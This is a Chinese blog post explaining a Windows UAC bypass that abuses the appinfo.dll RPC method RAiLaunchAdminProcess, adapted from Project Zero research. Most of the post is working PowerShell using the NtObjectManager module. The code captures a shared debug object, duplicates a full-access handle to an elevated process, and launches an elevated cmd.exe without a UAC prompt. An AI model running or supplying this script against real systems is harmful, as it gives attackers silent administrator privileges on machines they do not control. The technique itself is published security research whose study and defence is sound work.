• 通过调用Windows本地RPC服务器bypass UAC


    备战一个月比赛,导致近期都没啥时间更新博客,正好今天看到一篇通过调用本地RPC服务的文章,觉得非常有意思,就拿来充充博客。

    在1.0版本的APPINFO.DLL中的RPC服务调用接口ID为:201ef99a-7fa0-444c-9399-19ba84f12a1a

    用RAiLaunchAdminProcess函数调用本地RPC

    [
        uuid (201ef99a-7fa0-444c-9399-19ba84f12a1a),
        version(1.0),
    ]
    long RAiLaunchAdminProcess(
        handle_t hBinding,
        [in][unique][string] wchar_t* ExecutablePath,
        [in][unique][string] wchar_t* CommandLine,
        [in] long StartFlags,
        [in] long CreateFlags,
        [in][string] wchar_t* CurrentDirectory,
        [in][string] wchar_t* WindowStation,
        [in] struct APP_STARTUP_INFO* StartupInfo,
        [in] unsigned __int3264 hWnd,
        [in] long Timeout,
        [out] struct APP_PROCESS_INFORMATION* ProcessInformation,
        [out] long *ElevationType
    );

    ALPC(高级本地过程调用)调用原理图:

    画的有点水,大概就是如上图所示

     UAC步骤

    1.利用RAiLaunchAdminProcess设置StartFlags标志为0并设置DEBUG_PROCESS来创建一个新的non-elevated进程。这将在服务器中RPC线程的TEB中初始化debug对象字段,并将其分配给新进程。

    2.使用带有返回的进程句柄的NtQueryInformationProcess打开调试对象的句柄。

    3.分离调试器并终止不再需要的新进程

    4.通过RAiLaunchAdminProcess与StartFlags设置为1来创建一个新的提升进程,设置DEBUG_PROCESS标志 。由于已经初始化了TEB中的debug对象字段,因此将在步骤2中捕获的现有对象分配给了新进程。

    5.检索初始调试事件,该事件将返回完整的访问进程句柄。

    6.使用新的进程句柄代码,可以将其注入提升的进程中,从而完成UAC Bypass。

    首先放上powershell的利用过程:

     首先利用powershell的NtObjectManager模块,可以通过

    Install-Module "NtObjectManager" -Scope CurrentUser

    安装NtObjectManager模块,如果模块存在可以通过以下命令更新

    Update-Module -Name NtObjectManager

    然后解析APPINFO.DLL提取所有的RPC服务

    $rpc = Get-RpcServer "c:windowssystem32appinfo.dll" `
     | Select-RpcServer -InterfaceId "201ef99a-7fa0-444c-9399-19ba84f12a1a"

    可以通过

    Get-RpcServerName $rpc

    生成一个XML文件

    这里用修改后的测试文件

    <RpcServerNameData 
       xmlns="http://schemas.datacontract.org/2004/07/NtObjectManager">
      <InterfaceId>201ef99a-7fa0-444c-9399-19ba84f12a1a</InterfaceId>
      <InterfaceMajorVersion>1</InterfaceMajorVersion>
      <InterfaceMinorVersion>0</InterfaceMinorVersion>
      <Procedures>
        <NdrProcedureNameData>
          <Index>0</Index>
          <Name>RAiLaunchAdminProcess</Name>
          <Parameters>
            <NdrProcedureParameterNameData>
              <Index>10</Index>
              <Name>ProcessInformation</Name>
            </NdrProcedureParameterNameData>
          </Parameters>
        </NdrProcedureNameData>
      </Procedures>
      <Structures>
      <NdrStructureNameData>
          <Index>0</Index>
          <Members/>
          <Name>APP_STARTUP_INFO</Name>
        </NdrStructureNameData>
        <NdrStructureNameData>
          <Index>2</Index>
          <Members>
            <NdrStructureMemberNameData>
              <Index>0</Index>
              <Name>ProcessHandle</Name>
            </NdrStructureMemberNameData>
          </Members>
          <Name>APP_PROCESS_INFORMATION</Name>
        </NdrStructureNameData>
      </Structures>
    </RpcServerNameData>
    XML

    将文件保存为names.xml

    Get-Content "names.xml" | Set-RpcServerName $rpc

    可以通过上述命令将xml文件内容应用于$rpc对象

    最后创建客户端新实例,它生成一个C#源代码,并编译成临时程序集

    $client = Get-RpcClient $rpc

    可以通过Format-RpcClient函数查看生成的C#源代码

    将客户端链接到本地RPC服务器的ALPC端口

    Connect-RpcClient $client

    接下来定义一个函数,里面实现了RAiLaunchAdminProcess方法的调用,该函数返回一个NtProcess对象,该对象可用于访问创建进程的属性

    function Start-Uac {
      Param(
        [Parameter(Mandatory, Position = 0)]
        [string]$Executable,
        [switch]$RunAsAdmin
      )
    
      $CreateFlags = [NtApiDotNet.Win32.CreateProcessFlags]::DebugProcess -bor `
            [NtApiDotNet.Win32.CreateProcessFlags]::UnicodeEnvironment
      $StartInfo = $client.New.APP_STARTUP_INFO()
    
      $result = $client.RAiLaunchAdminProcess($Executable, $Executable,`
              [int]$RunAsAdmin.IsPresent, [int]$CreateFlags,`
              "C:", "WinSta0Default", $StartInfo, 0, -1)
      if ($result.retval -ne 0) {
        $ex = [System.ComponentModel.Win32Exception]::new($result.retval)
        throw $ex
      }
    
      $h = $result.ProcessInformation.ProcessHandle.Value
      Get-NtObjectFromHandle $h -OwnsHandle
    }

    创建一个进程并捕获debug对象,一旦获取调试对象,要将调试器与进程分离。

    $p = Start-Uac "c:windowssystem32
    otepad.exe"
    $dbg = Get-NtDebug -Process $p
    Stop-NtProcess $p
    Remove-NtDebugProcess $dbg -Process $p

    创建一个提升的进程,发现分配给提升进程的调试对象与刚才创建的调试对象相同。现在,我们在调试对象上发出等待,从中可以提取到特权进程句柄。

    但因为初始调试的句柄没有完全特权,得使用Copy-NtObject从提升的进程中复制当前进程的伪句柄(-1),从而获取完全特权句柄。

    $p = Start-Uac "c:windowssystem32	askmgr.exe" -RunAsAdmin
    $ev = Start-NtDebugWait -Seconds 0 -DebugObject $dbg
    $h = [IntPtr]-1
    $new_p = Copy-NtObject -SourceProcess $ev.Process -SourceHandle $h
    Remove-NtDebugProcess $dbg -Process $new_p

    此时再以$new_p为父进程生成一个特权权限的cmd进程

    New-Win32Process "cmd.exe" -ParentProcess $new_p -CreationFlags NewConsole

    参考链接:https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html

    C#项目地址:https://github.com/tyranid/WindowsRpcClients

  • 相关阅读:
    vue-cli创建项目 一直downloading解决办法
    Win7点击文件夹右键可打开cmd控制台,并获取当前目录

    js apply/call/caller/callee/bind使用方法与区别分析
    click() bind() live() delegate()区别
    域名与IP对应,解决只能IP访问不能域名访问的问题
    element.style{}
    git
    new
    js 数组函数
  • 原文地址:https://www.cnblogs.com/wh4am1/p/12081750.html
Copyright © 2020-2023  润新知